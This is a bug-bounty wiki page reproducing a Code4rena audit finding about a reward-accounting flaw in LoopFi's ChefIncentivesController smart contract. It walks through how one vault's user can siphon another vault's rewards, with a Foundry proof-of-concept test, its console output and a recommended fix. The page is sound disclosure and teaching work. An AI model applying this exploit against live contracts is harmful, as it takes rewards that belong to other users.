Skip to content
Business logic Audit finding Advanced

Users of a vault can steal other user’s rewards when one vault’s lastRewardTime differs from another vault’s lastRewardTime

The reward calculation in ChefIncentivesController uses a global availableRewards() that does not account for per-pool lastRewardTime differences, allowing a pool with a more recent lastRewardTime to claim rewards that belong to another pool. An attacker can repeatedly update their pool's lastRewardTime and then claim, stealing a portion of other users' rewards.

rscodes Follow with 0xpiken and hash

Originally disclosed on Code4rena

Submitted by rscodes, also found by 0xpiken, hash, and novamanbg (1, 2)

In ChefIncentivesController.sol, the _newRewards function calculates the new rewards accumulated since the last update of that specific pool Line 988-994:

function _newRewards(
    VaultInfo memory pool,
    uint256 _totalAllocPoint
) internal view returns (uint256 newReward, uint256 newAccRewardPerShare) {
    .....
    if (lpSupply > 0) {
->      uint256 duration = block.timestamp - pool.lastRewardTime;
->      uint256 rawReward = duration * rewardsPerSecond;

->      uint256 rewards = availableRewards();
->      if (rewards < rawReward) {
->          rawReward = rewards;
->      }
        .....
    }
}

For example, when a user changes his debt in CDPVault, handleActionAfter is called by the vault, which only changes the pool.lastRewardTime of that individual pool representing that vault through _updatePool.

This is problematic as it means different pools can have different pool.lastRewardTime, which means the way that rewards are calculated in _newRewards will cause one pool to receive more rewards than it is supposed to, at the loss of another pool.

A summary would be that availableRewards() returns depositedRewards - accountedRewards; and pool.lastRewardTime being different means that one pool has been adding to accountedRewards and its struct variables ahead of another pool. That one pool should then have a “lesser” share in the value returned by availableRewards(); however, the current code does not take that into account, allowing that pool to dig into rewards meant for other pools who has a more outdated pool.lastRewardTime.

Consider this symbol diagram example:

          [-----A-----|-----B-----]            (pool 1)
          [-----------C-----------]            (pool 2)
    Day:  0           x           y       z

Suppose there are 2 pools (represented by the first and second [] block respectively) that are eligible for rewards. And day y is the value endRewardTime() returns. And day z is a value larger than day y. Part A represents the rewards that are to be claimed by pool 1 during the time period [0,x), Part B represents [x,y) for pool 1 as well, while Part C represents the full rewards that are to be claimed by pool 2 during [0,y). Below I will explain the sequence which allows pool 1 to steal 1/4 of part C from pool 2.

  1. Both pools start accumulating rewards from day 0.

  2. At day x, user in pool 1 changes his debt (by any amount). This will trigger _modifyPosition (in CDPVault.sol) which will call handleActionAfter (in ChefIncentiveController.sol).

  3. handleActionAfter in ChefIncentiveController.sol will call _updatePool for pool 1 only, adding part A (refer to symbol diagram) into accountedRewards. (Through this line accountedRewards = accountedRewards + reward; inside _updatePool).

  4. Now suppose on day z (which is greater than day y), the user in pool 1 tries to claim, claim will then call _updatePool which will then call _newRewards.

  5. Now lets go through what happens inside _newRewards:

    1. duration gets set to z - pool.lastRewardTime = z - x.
    2. rawReward gets set to duration * rewardsPerSecond.
    3. availableRewards() returns depositedRewards - accountedRewards; hence, availableRewards() = part B+C (since A is already in accountedRewards).
    4. Since z > y, availableRewards() will be < rawReward for some values of z, this results in the function setting rawReward = availableRewards(); inside the if statement.
    5. So now, rawReward = availableRewards() = part B+C.
    6. Hence, the value returned by _newRewards for pool 1 will include part C which is supposed to be pool 2’s rewards; effectively allowing user from pool 1 to steal a fraction of another user’s rewards from pool 2. (In this scenario, pool 1 can steal 1/4 of part C).

Proof of Code

The below code is the coded version of the explanation above:

function test_durationHack() public {
    rewardsPerSecond = 1 ether;     //changed to make console output more understandable
    endingTimeCadence = 30 seconds;
    incentivesController.setRewardsPerSecond(rewardsPerSecond, true);
    incentivesController.setEndingTimeUpdateCadence(endingTimeCadence);

    address Alice = address(0x123);
    address Bob = address(0x567);

    address vault1 = address(0x1);
    uint256 totalAllocPoint = 1000;
    incentivesController.addPool(vault1, totalAllocPoint / 2); //give both pools equal allocation for convenience

    address vault2 = address(0x2);
    incentivesController.addPool(vault2, totalAllocPoint / 2); //give both pools equal allocation for convenience

    loopToken.mint(address(incentivesController), 120 ether);
    incentivesController.registerRewardDeposit(120 ether);    //give out 120 ether as incentive

    vm.mockCall(
        mockEligibilityDataProvider,
        abi.encodeWithSelector(IEligibilityDataProvider.lastEligibleStatus.selector, Alice),
        abi.encode(true)
    );
    vm.mockCall(
        mockEligibilityDataProvider,
        abi.encodeWithSelector(EligibilityDataProvider.refresh.selector, Alice),
        abi.encode(true)
    );
    vm.prank(vault1);                                                //set msg.sender to vault1
    incentivesController.handleActionAfter(Alice, 1 ether, 1 ether); //simulates Alice taking on a debt of 1 ether at vault1

    vm.mockCall(
        mockEligibilityDataProvider,
        abi.encodeWithSelector(IEligibilityDataProvider.lastEligibleStatus.selector, Bob),
        abi.encode(true)
    );
    vm.mockCall(
        mockEligibilityDataProvider,
        abi.encodeWithSelector(EligibilityDataProvider.refresh.selector, Bob),
        abi.encode(true)
    );
    vm.prank(vault2);                                              //set msg.sender to vault2
    incentivesController.handleActionAfter(Bob, 1 ether, 1 ether); //simulates Bob taking on a debt of 1 ether at vault2

    // based on the above scenario, each Alice and Bob are supposed to get 60 ether each at the end.

    skip(1 minutes); // go to the 1 minute mark (day x in the symbol diagram)
    vm.mockCall(
        mockEligibilityDataProvider,
        abi.encodeWithSelector(IEligibilityDataProvider.lastEligibleStatus.selector, Alice),
        abi.encode(true)
    );
    vm.mockCall(
        mockEligibilityDataProvider,
        abi.encodeWithSelector(EligibilityDataProvider.refresh.selector, Alice),
        abi.encode(true)
    );
    vm.prank(vault1);                                                                //set msg.sender to vault1
    incentivesController.handleActionAfter(Alice, 1 ether - 1 wei, 1 ether - 1 wei); //simulates Alice changing debt by any insignificant amount in vault1, resulting in _updatePool being called for vault1

    skip(1 minutes); //further skip 1 minute, reaching the **2 minute mark** (day y in the symbol diagram)
    console.log("Alice rewards at 2 minutes:", incentivesController.allPendingRewards(Alice)); // 2 minutes is the time at which 60 ether should be given to each of Alice and Bob, and no one is supposed to get more afterwards if not for the bug
    skip(1 minutes); // (day z in the symbol diagram)
    console.log("Alice rewards at 3 minutes:", incentivesController.allPendingRewards(Alice)); // as you can see Alice continues to receive rewards even after she isnt supposed to, exploiting the difference in pool.lastRewardTime to do so

    console.log("Bob's reward at the end:   ", incentivesController.allPendingRewards(Bob));
}

Console Output:

Ran 1 test for src/test/unit/ChefIncentivesController.t.sol:ChefIncentivesControllerTest
[PASS] test_durationHack() (gas: 688851)
Logs:
  Alice rewards at 2 minutes: 59999999999999999970
  Alice rewards at 3 minutes: 74999999999999999955
  Bob's reward at the end:    45000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.68ms (1.13ms CPU time)

Ran 1 test suite in 301.12ms (5.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Notable comments:

  • The first handleActionAfter is where we simulate Alice taking on 1 ether debt inside vault1.
  • The second handleActionAfter is where we simulate Bob taking on 1 ether debt inside vault2.
  • The last handleActionAfter is where we simulate Alice changing her debt by an insignificant amount in vault1, resulting in _updatePool being called for only vault1.
  • Since we mint 120 ether as rewards and we set rewardsPerSecond = 1 ether, and both Alice and Bob start staking the same amounts at the same time in different pools of equal point allocation weightage, at the end of 2 minutes, both Alice and Bob should have received equal amounts of reward (60 ether each).
  • However, we can see in the console output that Alice continues to gain tokens past 2 minutes and at the end has 74999999999999999955 tokens ~= 75 ether, while Bob only has 45 ether.
  • Alice has successfully taken advantage of the difference in pool’s lastRewardTime bug, to steal 15 ether of rewards from Bob, resulting in a permanent loss of rewards for Bob. (the 15 ether here is basically the 1/4 of part C in the symbol diagram explanation).

Recommended Mitigation Steps

struct VaultInfo {
    uint256 totalSupply;
    uint256 allocPoint; // How many allocation points assigned to this vault.
    uint256 lastRewardTime; // Last second that reward distribution occurs.
    uint256 accRewardPerShare; // Accumulated rewards per share, times ACC_REWARD_PRECISION. See below.
+   uint256 accountedRewards;
}
function _updatePool(VaultInfo storage pool, uint256 _totalAllocPoint) internal {
    uint256 timestamp = block.timestamp;
    uint256 endReward = endRewardTime();
    if (endReward <= timestamp) {
        timestamp = endReward;
    }
    if (timestamp <= pool.lastRewardTime) {
        return;
    }

    (uint256 reward, uint256 newAccRewardPerShare) = _newRewards(pool, _totalAllocPoint);
    accountedRewards = accountedRewards + reward;
+   pool.accountedRewards = pool.accountedRewards + reward;
    pool.accRewardPerShare = pool.accRewardPerShare + newAccRewardPerShare;
    pool.lastRewardTime = timestamp;
}
function _newRewards(
    VaultInfo memory pool,
    uint256 _totalAllocPoint
) internal view returns (uint256 newReward, uint256 newAccRewardPerShare) {
    uint256 lpSupply = pool.totalSupply;
    if (lpSupply > 0) {
        uint256 duration = block.timestamp - pool.lastRewardTime;
        uint256 rawReward = duration * rewardsPerSecond;

-       uint256 rewards = availableRewards();
+       uint256 rewards = (depositedRewards * pool.allocPoint / _totalAllocPoint) - pool.accountedRewards;
        if (rewards < rawReward) {
            rawReward = rewards;
        }
-       newReward = (rawReward * pool.allocPoint) / _totalAllocPoint;
+       newReward = rawReward;
        newAccRewardPerShare = (newReward * ACC_REWARD_PRECISION) / lpSupply;
    }
}

After those changes, console output is now showing that rewards are distributed accurately (60 ether each):

Ran 1 test for src/test/unit/ChefIncentivesController.t.sol:ChefIncentivesControllerTest
[PASS] test_durationHack() (gas: 713083)
Logs:
  Alice rewards at 2 minutes: 60000000000000000000
  Alice rewards at 3 minutes: 60000000000000000000
  Bob's reward at the end:    60000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 34.47ms (4.83ms CPU time)

Ran 1 test suite in 348.00ms (34.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry, VSCode

Assessed type

Math

amarcu (LoopFi) confirmed and commented:

This is a grieve attack on rewards and not user funds. Maybe it should be a medium.

Koolex (judge) decreased severity to Medium


The original report as published on Code4rena, by rscodes. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the reward calculation uses a global availableRewards() that does not subtract rewards already accounted for by other pools, so a pool with a more recent lastRewardTime can claim rewards that should belong to pools with older lastRewardTime.

Impact

A user can steal a portion of rewards from other pools, causing a permanent loss of rewards for other users; the report demonstrates stealing 15 ether out of 60 ether from another user.

What the attacker needed

Two or more pools with rewards; Attacker has a position in one pool; Attacker can trigger _updatePool for their pool; Attacker can claim rewards

The fix

The fix adds a per-pool accountedRewards field and changes _newRewards to calculate rewards based on the pool's allocation minus its own accountedRewards, preventing cross-pool theft.

How it was found

  1. Both pools start accumulating rewards from day 0.
  2. At day x, a user in pool 1 changes their debt, triggering _updatePool for pool 1 only and adding part A to accountedRewards.
  3. At day z (after day y), the user in pool 1 claims, calling _updatePool and _newRewards.
  4. In _newRewards, duration is z - x, rawReward is duration * rewardsPerSecond, and availableRewards() returns part B+C.
  5. Since z > y, availableRewards() < rawReward, so rawReward is set to availableRewards() (part B+C).
  6. The returned reward for pool 1 includes part C, stealing a fraction of pool 2's rewards.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a reward system, each pool tracks when it last updated its rewards. The bug is that the total available rewards are shared globally, so a pool that updates more often can take more than its fair share, leaving less for others. This means one user can steal rewards from another user in a different pool.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by rscodes

View all

8 more disclosed reports, best first.

More from LoopFi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.